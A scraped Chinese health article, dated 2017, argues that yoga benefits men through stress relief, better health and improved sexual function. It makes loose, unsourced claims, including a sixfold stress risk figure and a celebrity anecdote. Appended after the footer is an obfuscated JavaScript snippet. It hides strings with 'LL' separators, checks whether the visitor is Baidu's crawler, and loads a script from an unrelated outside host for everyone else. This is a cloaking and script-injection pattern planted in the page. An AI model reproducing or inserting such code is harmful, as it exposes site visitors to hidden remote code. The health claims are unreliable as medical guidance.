當(dāng)前位置:首頁(yè) > 健康 > 運(yùn)動(dòng)健身 > 正文

男人可以學(xué)瑜伽的嗎

2017-04-15 09:20:31  來源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語:如今瑜伽被女性占主體地位,給人一種潛在意識(shí),以為瑜伽只適合女人做,其實(shí)男人練瑜伽好處也很多,練習(xí)瑜伽并不是女人的專利,雖然如今女人

如今瑜伽被女性占主體地位,給人一種潛在意識(shí),以為瑜伽只適合女人做,其實(shí)男人練瑜伽好處也很多,練習(xí)瑜伽并不是女人的專利,雖然如今女人占據(jù)著瑜伽的主體地位,男人也要學(xué)會(huì)練習(xí)瑜伽,為身體減壓,改善身體素質(zhì)。下面是男人練瑜伽的三大好處。

1、男人也要減壓

最早的瑜伽修練者是和社會(huì)脫離的,在喜馬拉雅的雪山上攀爬,在恒河岸邊冥想,就像《喜馬拉雅星》中看到的隱居瑜伽士一樣。20世紀(jì)開始,人們開始意識(shí)到瑜伽對(duì)人體的益處,才開始在凡世普及開來。

現(xiàn)代快節(jié)奏的工作和生活,尤其是社會(huì)賦予男人更多的責(zé)任和要求,男人習(xí)慣承擔(dān)壓力,缺少減壓的途徑,任何形式的放縱都不可能讓身心得到真正的放松,反而常常連放松都不會(huì)了。

那些隱居的瑜伽修練者沒有什么壓力,但是練習(xí)的方法卻是現(xiàn)代社會(huì)減壓的好辦法,瑜伽可以改善身體的柔韌性,增強(qiáng)協(xié)調(diào)性,提高敏捷性,塑造剛?cè)岵?jì)的身體線條,培養(yǎng)儒雅高貴的男性氣質(zhì)。一個(gè)懂得疏解自己壓力的男人,才能更加懂得生活和工作。

2、對(duì)抗男性健康危機(jī)

男人存在很多健康的問題,對(duì)自己的身體、大腦缺少醒覺,身體的問題其實(shí)都是來自超負(fù)荷的壓力,如果沒有一個(gè)平靜的大腦,人總是壓力重重,人的情緒很容易激烈。隨著壓力的增大,疾病會(huì)很突出。

慢性壓力導(dǎo)致心臟病和癌癥發(fā)生的概率,比吸煙和膽固醇過高等危險(xiǎn)因子高6倍。人體中腦是最重要的器官之一,在腦部疲勞的時(shí)候,很多功能都會(huì)受到影響。

而瑜伽的很大好處就是可以幫助腦波回歸平靜狀態(tài),最大限度地促進(jìn)副交感神經(jīng)發(fā)揮作用,恢復(fù)到精力充沛的狀態(tài),對(duì)抗各種健康的危機(jī)。

3、增強(qiáng)男人性能力

英國(guó)歌星斯汀曾經(jīng)說他能夠與太太連續(xù)做愛,時(shí)間長(zhǎng)達(dá)5小時(shí),據(jù)他自稱全賴每天練瑜珈功所產(chǎn)生的效果。千萬不要誤解瑜伽能夠幫助男人提高性功能,這種功利的想法會(huì)扭曲瑜伽帶給身體的好處。

練習(xí)瑜伽給男人性能力帶來的好處是自然而然的,最大的好處不是時(shí)間的延長(zhǎng)和能力的提高,而是幫助修煉者增強(qiáng)身體的感覺,延伸性快感并達(dá)到更高的性喚醒狀態(tài)。如果能夠不斷練習(xí)的話,女性們可以增加她們獲得多重性高潮的機(jī)會(huì),而男女雙方都可以把性高潮引向身體的各個(gè)部位。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}